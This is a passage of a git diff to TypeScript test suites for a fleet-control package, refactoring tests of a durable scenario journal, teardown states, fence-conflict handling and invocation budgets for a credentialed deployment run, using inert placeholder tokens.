{ const { f, journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario('audit-page')); const migrationBytes = Buffer.byteLength( await readFile(join(f.runDirectory, 'journal.json'), 'utf8'), ); - process.stdout.write( - `A1_MAXIMAL_SCENARIO_JOURNAL_BYTES audit-page-migration ${migrationBytes}\n`, - ); await journal.recordScenario(maximalScenario()); const serialized = await readFile( join(f.runDirectory, 'journal.json'), 'utf8', ); - process.stdout.write( - `A1_MAXIMAL_SCENARIO_JOURNAL_BYTES force-terminal ${Buffer.byteLength(serialized)}\n`, - ); expect(Buffer.byteLength(serialized)).toBeGreaterThan(migrationBytes); - process.stdout.write( - `A1_MAXIMAL_SCENARIO_JOURNAL_FREE_BYTES ${DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized)}\n`, - ); expect(Buffer.byteLength(serialized)).toBeLessThan( DIRECT_RUN_MAX_JOURNAL_BYTES - 118 * 1024, ); @@ -1420,6 +1497,47 @@ describeLinux('durable scenario state', () => { }); }); + it('pins the scenario failure vocabularies its producers are typed against', () => { + // The declaration states each as a tuple and `requireFact` types its + // `detail` from one of them, so the runtime arrays and the declared + // tuples are pinned together here. + expect([...DIRECT_SCENARIO_FAILURES]).toEqual([ + 'observation-mismatch', + 'outcome-unknown', + 'proof-unavailable', + 'budget-exhausted', + 'invocation-budget-exhausted', + 'reference-refused', + 'invalid-input', + 'provider-unavailable', + 'journal-failed', + 'blocked', + ]); + expect([...DIRECT_SCENARIO_FAILURE_DETAILS]).toEqual([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + 'phase-ceiling', + 'run-reserve', + 'below-scenario-floor', + ]); + for (const vocabulary of [ + DIRECT_SCENARIO_FAILURES, + DIRECT_SCENARIO_FAILURE_DETAILS, + ]) + expect(Object.isFrozen(vocabulary)).toBe(true); + const detail: (typeof DIRECT_SCENARIO_FAILURE_DETAILS)[number] = + 'phase-ceiling'; + const code: (typeof DIRECT_SCENARIO_FAILURES)[number] = 'budget-exhausted'; + expect(() => requireFact(false, code, detail)).toThrowError(code); + expect(() => + // @ts-expect-error A producer spells a member of the vocabulary, and a + // widened parameter type makes this suppression itself an error. + requireFact(false, code, 'not-a-recorded-detail'), + ).toThrowError(code); + }); + it('publishes the journal fields in the order the decoder establishes', async () => { const { f, journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario()); @@ -1438,19 +1556,24 @@ describeLinux('durable scenario state', () => { ]); }); - it('refuses a stored journal larger than the byte bound before parsing it', async () => { + it.each([ + [DIRECT_RUN_MAX_JOURNAL_BYTES, true], + [DIRECT_RUN_MAX_JOURNAL_BYTES + 1, false], + ])('reads a stored journal of %d bytes before parsing it (admitted=%s)', async (size, admitted) => { const { f, journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario()); const path = join(f.runDirectory, 'journal.json'); const serialized = await readFile(path, 'utf8'); await closed(journal); - await writeFile( - path, - serialized.padEnd(DIRECT_RUN_MAX_JOURNAL_BYTES + 1, ' '), - ); - await expect( - openDirectRunState({ ...f.input, mode: 'resume' }), - ).rejects.toMatchObject({ code: 'invalid-state' }); + await writeFile(path, serialized.padEnd(size, ' ')); + const opening = openDirectRunState({ ...f.input, mode: 'resume' }); + if (!admitted) { + await expect(opening).rejects.toMatchObject({ code: 'invalid-state' }); + return; + } + const resumed = await opening; + expect(resumed.snapshot().scenario).not.toBeUndefined(); + await closed(resumed); }); it('refuses ordinals the durable invocation count cannot account for', async () => { @@ -1679,16 +1802,30 @@ describeLinux('durable scenario state', () => { `from ${JSON.stringify(new URL(name, source).href)}`, ); expect(await load(absolute(text))).toEqual({ status: 0, refused: false }); - for (const [key, declaration] of declarations) { + for (const [key, declaration] of declarations) expect({ key, occurrences: text.split(declaration).length - 1 }).toEqual({ key, occurrences: 1, }); - expect({ - key, - ...(await load(absolute(text.replace(declaration, '')))), - }).toEqual({ key, status: 1, refused: true }); - } + // One child per declared maximum, four at a time: the children are + // independent and IO-bound, and the bound keeps the enumeration from + // taking a core for every entry the table grows. + const pending = [...declarations]; + const refusals: Record< + string, + { status: number | null; refused: boolean } + > = {}; + await Promise.all( + Array.from({ length: 4 }, async () => { + for (let entry = pending.shift(); entry; entry = pending.shift()) + refusals[entry[0]] = await load(absolute(text.replace(entry[1], ''))); + }), + ); + expect(refusals).toEqual( + Object.fromEntries( + declarations.map(([key]) => [key, { status: 1, refused: true }]), + ), + ); }, 60_000); it.each([ @@ -1718,6 +1855,17 @@ describeLinux('durable scenario state', () => { expect(unknown.journal.snapshot().scenario?.failure).toEqual({ code: 'observation-mismatch', ordinal: MAX_COUNT, + detail: 'below-scenario-floor', + }); + const omitted = await scenarioJournal(); + await omitted.journal.recordScenario( + scenarioWith((state) => { + delete present(state.failure).detail; + }), + ); + expect(omitted.journal.snapshot().scenario?.failure).toEqual({ + code: 'observation-mismatch', + ordinal: MAX_COUNT, }); const carried = await scenarioJournal(); await carried.journal.recordScenario( @@ -1919,13 +2067,10 @@ describeLinux('durable teardown state', () => { }, ]; for (const [index, mutate] of cases.entries()) - await expect({ - index, - outcome: await journal.recordTeardown(teardownWith(mutate)).then( - () => 'accepted', - (error: { code?: string }) => error.code, - ), - }).toEqual({ index, outcome: 'invalid-state' }); + await expect( + journal.recordTeardown(teardownWith(mutate)), + `teardown case ${index}`, + ).rejects.toMatchObject({ code: 'invalid-state' }); }); it('publishes a receipt while its mutation is pending and refuses every regression', async () => { @@ -1994,7 +2139,7 @@ describeLinux('durable teardown state', () => { ).rejects.toMatchObject({ code: 'invalid-state' }); }); - it('keeps a refused teardown terminal and rewritable in place', async () => { + it('keeps a refused teardown rewritable in place', async () => { const { journal } = await completeScenarioJournal(); const refused = (attempts: number) => teardownWith((state) => { @@ -2012,17 +2157,51 @@ describeLinux('durable teardown state', () => { await expect( journal.recordTeardown( teardownWith((state) => { - state.pending = { kind: 'disable-reference-ingress' }; + state.phase = 'worker'; state.providerRequests = 2; }), ), ).rejects.toMatchObject({ code: 'invalid-state' }); }); + it.each([ + ['scenario-incomplete', true], + ['outcome-unknown', true], + ['identity-mismatch', false], + ['forbidden', false], + ['budget-exhausted', false], + ] as const)('re-enters deletion from a %s refusal (recoverable=%s)', async (failure, recoverable) => { + const { journal } = await completeScenarioJournal(); + await journal.recordTeardown( + teardownWith((state) => { + state.phase = 'refused'; + state.failure = failure; + state.residual = residualObservation(); + }), + ); + const reentry = journal.recordTeardown( + teardownWith((state) => { + state.pending = { kind: 'disable-reference-ingress' }; + }), + ); + if (!recoverable) { + await expect(reentry).rejects.toMatchObject({ code: 'invalid-state' }); + expect(journal.snapshot().teardown?.phase).toBe('refused'); + return; + } + await reentry; + expect(journal.snapshot().teardown).toMatchObject({ + phase: 'ingress', + residual: null, + }); + }); + it('accepts the worst-case teardown inside the byte bound and refuses an undecodable one without poisoning', async () => { const { f, journal } = await completeScenarioJournal(); + const path = join(f.runDirectory, 'journal.json'); await journal.assertTeardownCapacity(maximalTeardown()); expect(journal.snapshot().teardown).toBeUndefined(); + const stored = await readFile(path, 'utf8'); await expect( journal.assertTeardownCapacity( teardownWith((state) => { @@ -2032,17 +2211,13 @@ describeLinux('durable teardown state', () => { }), ), ).rejects.toMatchObject({ code: 'invalid-state' }); + // Unpoisoned: the refused check leaves no part of its record behind, in + // the snapshot or in the stored journal, and a worst-case teardown still + // records afterwards. + expect(journal.snapshot().teardown).toBeUndefined(); + expect(await readFile(path, 'utf8')).toBe(stored); await journal.recordTeardown(maximalTeardown()); - const serialized = await readFile( - join(f.runDirectory, 'journal.json'), - 'utf8', - ); - process.stdout.write( - `A1_COMPLETE_TEARDOWN_JOURNAL_BYTES ${Buffer.byteLength(serialized)}\n`, - ); - process.stdout.write( - `A1_COMPLETE_TEARDOWN_JOURNAL_FREE_BYTES ${DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized)}\n`, - ); + const serialized = await readFile(path, 'utf8'); expect( DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized), ).toBeGreaterThan(90 * 1024); @@ -2148,7 +2323,12 @@ describeLinux('CLI metadata and inspection', () => { }); try { expect(inspection.snapshot).toEqual(snapshot); - expect(Object.keys(inspection)).toEqual(['snapshot', 'close']); + expect(Object.keys(inspection)).toEqual([ + 'directory', + 'snapshot', + 'close', + ]); + expect(inspection.directory).toBe(f.runDirectory); await expect( inspectDirectRunState({ ...f.input, mode: 'inspect' }), ).rejects.toMatchObject({ code: 'lock-unavailable' }); @@ -2270,6 +2450,17 @@ describeLinux('CLI metadata and inspection', () => { ).rejects.toMatchObject({ code: 'invalid-state' }); }); + it.each([ + ['2026-09-13T00:00:00.000Z', true], + ['2026-09-13T00:00:00Z', false], + ['2026-09-13T00:00:00.000+00:00', false], + ['2026-09-13T00:00:00.0000Z', false], + ] as const)('shares one 24-byte ISO-8601 pattern that accepts %s: %s', (value, accepted) => { + // The journal decoder and the CLI summary clock apply this one pattern. + expect(DIRECT_RUN_TIMESTAMP.test(value)).toBe(accepted); + expect(DIRECT_RUN_TIMESTAMP.flags).toBe('u'); + }); + it.each([ 'createdAt', 'resumeCount', @@ -2310,11 +2501,13 @@ describeLinux('CLI metadata and inspection', () => { const countBytes = Buffer.byteLength( `"resumeCount":${DIRECT_RUN_MAX_RESUME_COUNT},`, ); - console.log('CLI_METADATA_BYTES', { - timeBytes, - countBytes, - total: timeBytes + countBytes, - }); + process.stdout.write( + `CLI_METADATA_BYTES ${JSON.stringify({ + timeBytes, + countBytes, + total: timeBytes + countBytes, + })}\n`, + ); expect([timeBytes, countBytes, timeBytes + countBytes]).toEqual([ 39, 21, 60, ]); diff --git a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts index 750d50b2..216d52d5 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts @@ -211,6 +211,13 @@ describe('scenario migration guards', () => { checkItemConvergence([item(0, 'pending'), item(1, 'complete')]), ), ).toBe('observation-mismatch'); + expect( + refusal(() => + checkItemConvergence([item(0, 'complete')] as unknown as Parameters< + typeof checkItemConvergence + >[0]), + ), + ).toBe('observation-mismatch'); }); it('requires the candidate at zero percent beside the original at one hundred in one deployment', () => { @@ -286,6 +293,14 @@ describe('scenario migration guards', () => { ), ), ).toBe('observation-mismatch'); + expect( + refusal(() => + checkTrafficDistribution( + observation('old', 0, [{ versionId: 'old', percentage: 0 }], 'old'), + previous, + ), + ), + ).toBe('observation-mismatch'); }); }); @@ -500,18 +515,6 @@ describe('scenario invocation budget', () => { ); it('derives the phase list from the budget table and keeps both columns on the rule', () => { - console.log( - 'A1_FENCE_BUDGET', - JSON.stringify( - Object.fromEntries( - ['fence-drain', 'fence-reopen', 'fence-proofs'].map((phase) => [ - phase, - DIRECT_SCENARIO_INVOCATION_BUDGET[phase as DirectScenarioPhase], - ]), - ), - ), - ); - console.log('A1_SCENARIO_MIN_INVOCATIONS', DIRECT_SCENARIO_MIN_INVOCATIONS); expect(Object.keys(DIRECT_SCENARIO_INVOCATION_BUDGET)).toEqual([ ...DIRECT_SCENARIO_PHASES, ]); @@ -686,19 +689,30 @@ describe('scenario invocation budget', () => { ).toBe('invalid-input'); }); - it('refuses an inherited phase key and a remaining count that is not an integer', () => { + it('refuses an inherited phase key and a remaining count that is not a nonnegative safe integer', () => { const calls = zeroCalls(); const total = phaseInvocationReserve('provision-a'); + // A count of its own for the inherited key, so the budget's own-property + // check is what refuses it rather than the count being a prototype member. expect( refusal(() => checkInvocationHeadroom( 'constructor' as DirectScenarioPhase, - calls, + { ...zeroCalls(), constructor: 0 } as unknown as Record< + DirectScenarioPhase, + number + >, total, ), ), ).toBe('invalid-input'); - for (const remaining of [1.5, Number.MAX_SAFE_INTEGER + 1]) + for (const remaining of [ + 1.5, + Number.MAX_SAFE_INTEGER + 1, + -1, + Number.NaN, + '4' as unknown as number, + ]) expect( refusal(() => checkInvocationHeadroom('provision-a', calls, remaining)), ).toBe('invalid-input'); diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts index 371fa8a5..23c6df6d 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts @@ -1,7 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -import { spawn } from 'node:child_process'; -import { readFile, writeFile } from 'node:fs/promises'; +import { readFile } from 'node:fs/promises'; import { join } from 'node:path'; import { EXECUTION_FENCE_ROW_ID, @@ -19,7 +18,6 @@ import { openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; import { - type DirectScenarioOutcome, type DirectScenarioState, runDirectCredentialedScenario, } from '../scripts/direct-credentialed-scenario.mjs'; @@ -30,13 +28,12 @@ import { import { hash, jsonHash, + recordFacts, } from '../scripts/direct-credentialed-scenario-checks.mjs'; import { DIRECT_TENANT_OBJECT_BODY } from '../scripts/direct-credentialed-tenant-object.mjs'; import type { DirectReferenceAction } from '../scripts/direct-reference-contract.mjs'; import { directObservationFixture } from './fixtures/direct-observations.js'; -import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js'; import { - cleanupDirectRunState, type MutableScenario, PROCESS, present, @@ -44,29 +41,73 @@ import { scenarioJournal, scenarioWith, } from './fixtures/direct-run-state-builder.js'; +import { + childResumeDirectScenario as childResume, + directScenarioCleanup as cleanup, + closeDirectScenarioFixtures, + type DirectScenarioNodeResponse, + createDirectScenarioFixture as fixture, + resumeDirectScenarioJournal as resume, +} from './fixtures/direct-scenario-harness.js'; -const cleanup: (() => Promise)[] = []; -afterEach(async () => { - const results = await Promise.allSettled( - cleanup - .splice(0) - .reverse() - .map((close) => close()), - ); - await cleanupDirectRunState(); - const failed = results.filter((result) => result.status === 'rejected'); - expect(failed).toEqual([]); -}); +afterEach(closeDirectScenarioFixtures); -async function resume(f: Awaited>) { - const resumed = await openDirectRunState({ - configPath: f.local.configPath, - prepared: f.local.prepared, - accountId: 'account', - mode: 'resume', - }); - cleanup.push(() => resumed.close()); - return resumed; +type FenceMutationAfter = { + state: string; + mutationEpoch: number; + requireMutationEpoch: boolean; + transitionRevision: number; +}; + +/** + * One armed interception of the reference Worker's own fence answer. The first + * `tenant-fence` reply whose new state matches `operation` is replaced by the + * CAS conflict `reason` describes; every later reply passes through, so the + * case pins what the run does with a single conflict rather than a stream. + */ +function fenceConflict( + operation: 'drain' | 'reopen', + reason: (after: FenceMutationAfter) => Record, + onConflict?: () => void, +) { + let armed = true; + const nodeResponse: DirectScenarioNodeResponse = async ( + _request, + response, + ) => { + if ( + !armed || + !response.headers.get('content-type')?.includes('application/json') + ) + return response; + const value = (await response.clone().json()) as { + action?: string; + result?: { after?: FenceMutationAfter }; + }; + const after = value.result?.after; + if ( + value.action !== 'tenant-fence' || + after?.state !== (operation === 'drain' ? 'draining' : 'open') + ) + return response; + armed = false; + onConflict?.(); + return Response.json( + { + ...value, + result: { + ok: false, + reason: { + code: 'FENCE_CAS_CONFLICT', + ...reason(after), + conflict: 'expectation-mismatch', + }, + }, + }, + { status: response.status, headers: response.headers }, + ); + }; + return { nodeResponse, fired: () => !armed }; } describe.sequential('scenario proof failures in native reference state', { @@ -500,164 +541,6 @@ describe('scenario journal refusal boundaries', () => { }); }); -async function fixture( - options: { - nodeResponse?: NonNullable< - Parameters[0] - >['nodeResponse']; - } = {}, -) { - const local = await directObservationFixture(30_000, 'confirmed', { - invocationTimeoutMs: 600_000, - maxProviderRequests: 1000, - }); - cleanup.push(() => local.close()); - const native = await createDirectReferenceHarness({ - manifest: local.prepared.manifest, - binding: { - version: 1, - accountId: 'account', - fleetDatabaseId: 'fleet-id', - quotaDatabaseId: 'quota-id', - exportBucketName: local.prepared.names.exportBucket, - referenceModuleSetSha256: local.prepared.referenceModuleSetSha256, - accountWorkersDevSubdomain: 'attested-account', - }, - maintenanceNow: Date.now, - applicationProbes: true, - nodeProviderRest: true, - ...(options.nodeResponse ? { nodeResponse: options.nodeResponse } : {}), - }); - cleanup.push(() => native.close()); - const input = (journal: DirectRunJournal = local.journal) => ({ - prepared: local.prepared, - journal, - apiToken: 'inert-provider-token', - fetch: native.fetch, - invocation: createDirectInvocationClient({ - prepared: local.prepared, - journal, - accountWorkersDevSubdomain: native.binding.accountWorkersDevSubdomain, - invokeSecret: 'inert-invoke', - fetch: native.fetch, - }), - }); - return { local, native, input }; -} - -async function childResume( - f: Awaited>, - fault?: - | 'export-fsync' - | 'fence-reopen-after-settle' - | 'fence-drain-role-split', -) { - await f.local.journal.close(); - const script = join(f.local.directory, 'resume.mjs'); - const moduleUrl = (name: string) => - new URL(`../scripts/${name}.mjs`, import.meta.url).href; - await writeFile( - script, - ` -import {preflightDirectConformance} from ${JSON.stringify(moduleUrl('direct-credentialed-conformance-preflight'))}; -import {openDirectRunState} from ${JSON.stringify(moduleUrl('direct-credentialed-run-state'))}; -import {createDirectInvocationClient} from ${JSON.stringify(moduleUrl('direct-credentialed-invocation'))}; -import {runDirectCredentialedScenario} from ${JSON.stringify(moduleUrl('direct-credentialed-scenario'))}; -import fs from 'node:fs/promises'; -import {syncBuiltinESMExports} from 'node:module'; -${fault === 'export-fsync' ? `const realOpen=fs.open;let injected=false;fs.open=async(...args)=>{const handle=await realOpen(...args);if(String(args[0]).includes('/.journal-')){const realWrite=handle.writeFile.bind(handle),realSync=handle.sync.bind(handle);let proof=false;handle.writeFile=async(value,...rest)=>{const state=JSON.parse(String(value));proof=Boolean(state.scenario?.proofs.exports.a);return realWrite(value,...rest);};handle.sync=async()=>{if(proof&&!injected){injected=true;console.log('SCENARIO_FAULT export-fsync');throw new Error('fixture proof fsync failure');}return realSync();};}return handle;};syncBuiltinESMExports();` : ''} -const prepared=await preflightDirectConformance({configPath:${JSON.stringify(f.local.configPath)}}); -const journal=await openDirectRunState({configPath:${JSON.stringify(f.local.configPath)},prepared,accountId:'account',mode:'resume'}); -${ - fault === 'fence-reopen-after-settle' - ? `const faulted = Object.freeze({ - ...journal, - recordScenario: async (...args) => { - const result = await journal.recordScenario(...args); - const [scenario] = args; - if (scenario.phase === 'fence-reopen' && - scenario.mutation?.outcome === 'returned' && - scenario.mutation?.action?.kind === 'tenant-fence' && - scenario.mutation?.action?.operation === 'reopen' && - scenario.mutation?.action?.role === 'a' && - scenario.proofs.fence.reopen.a?.after === null) { - console.log('SCENARIO_FAULT fence-reopen-after-settle'); - process.exit(0); - } - return result; - }, -});` - : fault === 'fence-drain-role-split' - ? `const faulted = Object.freeze({ - ...journal, - recordScenario: async (...args) => { - const result = await journal.recordScenario(...args); - const [scenario] = args; - if (scenario.phase === 'fence-drain' && - scenario.proofs.fence.drain.a?.after != null && - scenario.proofs.fence.sweeps.a !== null && - scenario.proofs.fence.drain.b?.after === null && - scenario.proofs.fence.drain.b?.ordinal === null) { - console.log('SCENARIO_FAULT fence-drain-role-split'); - process.exit(0); - } - return result; - }, -});` - : 'const faulted = journal;' -} -const originalFetch=globalThis.fetch; -const fetch=async(input,init)=>{const request=new Request(input,init);const url=new URL(request.url);if(url.origin!=='https://api.cloudflare.com'&&url.origin!==${JSON.stringify(`https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`)})throw new Error('unexpected child origin');const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return originalFetch(${JSON.stringify(f.native.bridgeUrl)},{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual',duplex:'half'});}; -globalThis.fetch=async()=>{throw new Error('unexpected child network');}; -try {const invocation=createDirectInvocationClient({prepared,journal: faulted,accountWorkersDevSubdomain:'attested-account',invokeSecret:'inert-invoke',fetch});const result=await runDirectCredentialedScenario({prepared,journal: faulted,invocation,apiToken:'inert-provider-token',fetch});console.log('SCENARIO_RESULT '+JSON.stringify(result));}finally{await faulted.close();} -`, - ); - const child = spawn(process.execPath, [script], { - env: { PATH: process.env.PATH }, - stdio: ['ignore', 'pipe', 'pipe'], - }); - let stdout = ''; - let stderr = ''; - child.stdout.on('data', (chunk) => { - stdout += String(chunk); - }); - child.stderr.on('data', (chunk) => { - stderr += String(chunk); - }); - const status = await new Promise((resolve, reject) => { - const timer = setTimeout(() => { - child.kill('SIGKILL'); - }, 540_000); - child.once('error', (error) => { - clearTimeout(timer); - reject(error); - }); - child.once('close', (code) => { - clearTimeout(timer); - resolve(code); - }); - }); - expect({ status, stderr }).toEqual({ status: 0, stderr: '' }); - const line = stdout - .split('\n') - .find((line) => line.startsWith('SCENARIO_RESULT ')); - if (!line) { - if ( - fault !== 'fence-reopen-after-settle' && - fault !== 'fence-drain-role-split' - ) - throw new Error(`child returned no result: ${stdout}`); - return { result: null, stdout, stderr }; - } - return { - result: JSON.parse( - line.slice('SCENARIO_RESULT '.length), - ) as DirectScenarioOutcome, - stdout, - stderr, - }; -} - describe.sequential('fixed Node scenario through native reference dispatch', { timeout: 660_000, }, () => { @@ -750,9 +633,6 @@ describe.sequential('fixed Node scenario through native reference dispatch', { mutationEpoch: 1, ordinal: expect.any(Number), }); - process.stdout.write( - `A1_SWEEP_INTERVAL ${role} ${fence.sweeps[role]?.intervalMs}\n`, - ); expect(proofs.initial[role]?.trafficPercentage).toBe(100); expect(proofs.candidate[role]?.trafficPercentage).toBe(0); expect(proofs.final[role]?.trafficPercentage).toBe(100); @@ -775,11 +655,8 @@ describe.sequential('fixed Node scenario through native reference dispatch', { proofs.inventories.before?.routeHostnames, ); expect(proofs.inventories.after?.routeHostnames).toEqual( - ['a', 'b'] - .map( - (role) => - f.local.prepared.names.roles[role as 'a' | 'b'].routeHostname, - ) + (['a', 'b'] as const) + .map((role) => f.local.prepared.names.roles[role].routeHostname) .sort(), ); expect(proofs.effects).toHaveLength(2); @@ -820,13 +697,8 @@ describe.sequential('fixed Node scenario through native reference dispatch', { DIRECT_SCENARIO_INVOCATION_BUDGET; const phaseCalls: Record = JSON.parse(serialized).scenario.phaseCalls; - process.stdout.write( - `A1_TERMINAL_FORCE_PHASE_CALLS ${phaseCalls['force-terminal-a']}\n`, - ); - for (const phase of ['fence-drain', 'fence-reopen', 'fence-proofs']) { + for (const phase of ['fence-drain', 'fence-reopen', 'fence-proofs']) expect(phaseCalls[phase]).toBe(9); - process.stdout.write(`A1_PHASE_CALLS ${phase} ${phaseCalls[phase]}\n`); - } expect( Object.entries(phaseCalls).filter( ([phase, calls]) => calls > (budget[phase]?.ceiling ?? 0), @@ -848,49 +720,20 @@ describe.sequential('fence composition through native reference dispatch', { ['reopen', 'open', 2], ['drain', 'open', 1], ] as const)('refuses a %s conflict at %s epoch %i without a later mutation', async (operation, state, mutationEpoch) => { - let armed = true; let mutations: string[] | undefined; - const f = await fixture({ - nodeResponse: async (_request, response) => { - if ( - !armed || - !response.headers.get('content-type')?.includes('application/json') - ) - return response; - const value = (await response.clone().json()) as { - action?: string; - result?: { - ok?: boolean; - after?: { state: string; transitionRevision: number }; - }; - }; - if ( - value.action !== 'tenant-fence' || - value.result?.after?.state !== - (operation === 'drain' ? 'draining' : 'open') - ) - return response; - armed = false; + const conflict = fenceConflict( + operation, + (after) => ({ + state, + mutationEpoch, + requireMutationEpoch: true, + transitionRevision: after.transitionRevision, + }), + () => { mutations = [...f.native.world.mutationLog]; - return Response.json( - { - ...value, - result: { - ok: false, - reason: { - code: 'FENCE_CAS_CONFLICT', - state, - mutationEpoch, - requireMutationEpoch: true, - transitionRevision: value.result.after.transitionRevision, - conflict: 'expectation-mismatch', - }, - }, - }, - { status: response.status, headers: response.headers }, - ); }, - }); + ); + const f = await fixture({ nodeResponse: conflict.nodeResponse }); const first = await runDirectCredentialedScenario(f.input()); if (operation === 'reopen') { expect(first).toEqual({ status: 'restart-required' }); @@ -906,7 +749,7 @@ describe.sequential('fence composition through native reference dispatch', { phase: 'fence-drain', }); } - expect(armed).toBe(false); + expect(conflict.fired()).toBe(true); const disk = JSON.parse( await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'), ); @@ -918,55 +761,17 @@ describe.sequential('fence composition through native reference dispatch', { 'drain', 'reopen', ] as const)('accepts a flattened %s conflict with an intervening revision', async (operation) => { - let armed = true; - const f = await fixture({ - nodeResponse: async (_request, response) => { - if ( - !armed || - !response.headers.get('content-type')?.includes('application/json') - ) - return response; - const value = (await response.clone().json()) as { - action?: string; - result?: { - after?: { - state: string; - mutationEpoch: number; - requireMutationEpoch: boolean; - transitionRevision: number; - }; - }; - }; - if ( - value.action !== 'tenant-fence' || - value.result?.after?.state !== - (operation === 'drain' ? 'draining' : 'open') - ) - return response; - armed = false; - return Response.json( - { - ...value, - result: { - ok: false, - reason: { - code: 'FENCE_CAS_CONFLICT', - ...value.result.after, - transitionRevision: value.result.after.transitionRevision + 1, - conflict: 'expectation-mismatch', - }, - }, - }, - { status: response.status, headers: response.headers }, - ); - }, - }); + const conflict = fenceConflict(operation, (after) => ({ + ...after, + transitionRevision: after.transitionRevision + 1, + })); + const f = await fixture({ nodeResponse: conflict.nodeResponse }); expect(await runDirectCredentialedScenario(f.input())).toEqual({ status: 'restart-required', }); const child = await childResume(f); expect(child.result).toMatchObject({ status: 'complete' }); - expect(armed).toBe(false); + expect(conflict.fired()).toBe(true); if (child.result?.status !== 'complete') throw new Error('scenario did not complete'); const entry = child.result.facts.fence[operation].a; @@ -1357,15 +1162,35 @@ describe('scenario resume re-entry against a settled journal', () => { return state; }; - it.each([ - ['interrupted at mutation settlement', 0, false, 'matching'], - ['persisted nonzero-attempt witness', 1, false, 'matching'], - ['interrupted at proof persistence', 0, true, 'matching'], - ['persisted absent-row no-op witness', 0, false, 'absent'], - ['persisted foreign before identity', 0, false, 'foreign'], - ] as const)('terminal force resume: %s', async (_title, provider, persisted, identity) => { - const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); - const attempts = { provider, maintenance: 0, application: 0 }; + type ControlRead = { records: { role: string }[] }; + + const withControlRead = ( + invocation: DirectInvocationClient, + rewrite: (result: Result) => object, + ): DirectInvocationClient => ({ + async invoke(action) { + const outcome = await invocation.invoke(action); + if (action.kind !== 'control-read') return outcome; + return { ...outcome, result: rewrite(outcome.result as Result) }; + }, + }); + + const withoutRoleA = (result: ControlRead) => ({ + ...result, + records: result.records.map((record) => + record.role === 'a' ? { role: 'a', present: false } : record, + ), + }); + + const seedTerminalForceResume = async ( + target: Journal, + attempts: { provider: number; maintenance: number; application: number }, + options: { + persisted?: boolean; + identity?: 'matching' | 'absent' | 'foreign'; + } = {}, + ) => { + const identity = options.identity ?? 'matching'; const state = seed('force-terminal-a', (state) => { state.mutation = settledCall( 'force-terminal', @@ -1391,16 +1216,9 @@ describe('scenario resume re-entry against a settled journal', () => { resumedProcess: { ...RESUMED }, replayOrdinal: 3, }) as MutableScenario['proofs']['restart']; - state.records[0] = { - role: 'a', - present: false, - phase: null, - desiredSpecDigest: null, - pendingSpecDigest: null, - artifactVersion: null, - pendingArtifactVersion: null, - databaseId: null, - }; + state.records = state.records.map((entry) => + entry.role === 'a' ? recordFacts({ role: 'a', present: false }) : entry, + ); }); const proof = { databaseId: present(state.proofs.decommission.a).databaseId, @@ -1408,63 +1226,168 @@ describe('scenario resume re-entry against a settled journal', () => { ordinal: 3, attempts, }; - if (persisted) state.proofs.terminalForce.a = proof; + if (options.persisted) state.proofs.terminalForce.a = proof; const frozen = JSON.stringify(state.proofs.terminalForce); await expect(target.journal.recordScenario(state)).resolves.toBeUndefined(); expect(stored(target).phase).toBe('force-terminal-a'); const { invocation, actions } = reference(target, { interrupted: true }); - const absent: DirectInvocationClient = { - async invoke(action) { - const outcome = await invocation.invoke(action); - if (action.kind !== 'control-read') return outcome; - const result = outcome.result as { records: { role: string }[] }; - return { - ...outcome, - result: { - ...result, - records: result.records.map((record) => - record.role === 'a' ? { role: 'a', present: false } : record, - ), - }, - }; - }, - }; - const result = await run(target, absent); + return { state, proof, frozen, actions, invocation }; + }; + + const noForceTerminal = (actions: DirectReferenceAction[]) => expect( actions.filter((action) => action.kind === 'force-terminal'), ).toEqual([]); - if (provider || identity !== 'matching') { - expect(result).toMatchObject({ - status: 'failed', - reason: 'observation-mismatch', - phase: 'force-terminal-a', - }); - expect(stored(target).proofs.terminalForce.a).toBeNull(); - } else { - expect(stored(target).phase).toBe('force-recovery'); - expect(stored(target).proofs.terminalForce.a).toEqual(proof); - if (persisted) - expect(JSON.stringify(stored(target).proofs.terminalForce)).toBe( - frozen, - ); - } + + it.each([ + ['interrupted at mutation settlement', false], + ['interrupted at proof persistence', true], + ] as const)('terminal force resume: %s', async (_title, persisted) => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const { proof, frozen, actions, invocation } = + await seedTerminalForceResume( + target, + { provider: 0, maintenance: 0, application: 0 }, + { persisted }, + ); + await run(target, withControlRead(invocation, withoutRoleA)); + noForceTerminal(actions); + expect(stored(target).phase).toBe('force-recovery'); + expect(stored(target).proofs.terminalForce.a).toEqual(proof); + if (persisted) + expect(JSON.stringify(stored(target).proofs.terminalForce)).toBe(frozen); + }); + + it('terminal force resume: persisted nonzero-attempt witness', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const { actions, invocation } = await seedTerminalForceResume(target, { + provider: 1, + maintenance: 0, + application: 0, + }); + const result = await run(target, withControlRead(invocation, withoutRoleA)); + noForceTerminal(actions); + expect(result).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'force-terminal-a', + }); + expect(stored(target).proofs.terminalForce.a).toBeNull(); }); it.each([ - ['matching identity', 'matching', null], - ['absent row', null, null], - ['missing identity', undefined, null], + ['persisted absent-row no-op witness', 